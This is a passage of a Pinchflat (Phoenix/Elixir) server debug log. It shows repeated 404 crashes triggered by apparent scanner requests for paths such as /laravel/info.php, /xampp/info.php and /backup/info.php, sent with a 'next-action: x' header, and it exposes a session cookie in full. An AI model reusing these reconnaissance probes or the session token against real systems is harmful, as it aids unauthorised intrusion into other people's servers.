private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/laravel/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXmjqUY9I_MsABWkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 88, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 88, host_info: :undefined }}, a (truncated) 17:14:41.159 [info] GET /helper/info.php 17:14:41.160 [debug] QUERY OK source="settings" db=0.1ms idle=511.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.160 [debug] QUERY OK source="settings" db=0.0ms idle=511.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.160 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:41.161 [error] #PID<0.11857.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 89) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /helper/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /helper/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/helper/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 89, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11857.0>, params: %{}, path_info: ["helper", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/helper/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXngxESiet-YABWmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/helper/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 89, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /helper/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/helper/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 89, host_info: :undefined }}, assigns: (truncated) 17:14:41.416 [info] GET /xampp/info.php 17:14:41.416 [debug] QUERY OK source="settings" db=0.1ms idle=512.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.417 [debug] QUERY OK source="settings" db=0.0ms idle=512.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.417 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:41.417 [error] #PID<0.11858.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 90) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /xampp/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xampp/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xampp/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 90, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11858.0>, params: %{}, path_info: ["xampp", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/xampp/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXod471Hi1G8ABWoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xampp/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 90, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xampp/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xampp/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 90, host_info: :undefined }}, assigns: %{}, (truncated) 17:14:41.672 [info] GET /backup/info.php 17:14:41.673 [debug] QUERY OK source="settings" db=0.1ms idle=731.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.673 [debug] QUERY OK source="settings" db=0.0ms idle=512.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.673 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:41.673 [error] #PID<0.11859.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 91) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /backup/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 91, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11859.0>, params: %{}, path_info: ["backup", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/backup/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXpa_WkHC9l4ABWqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 91, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/info.php", host: 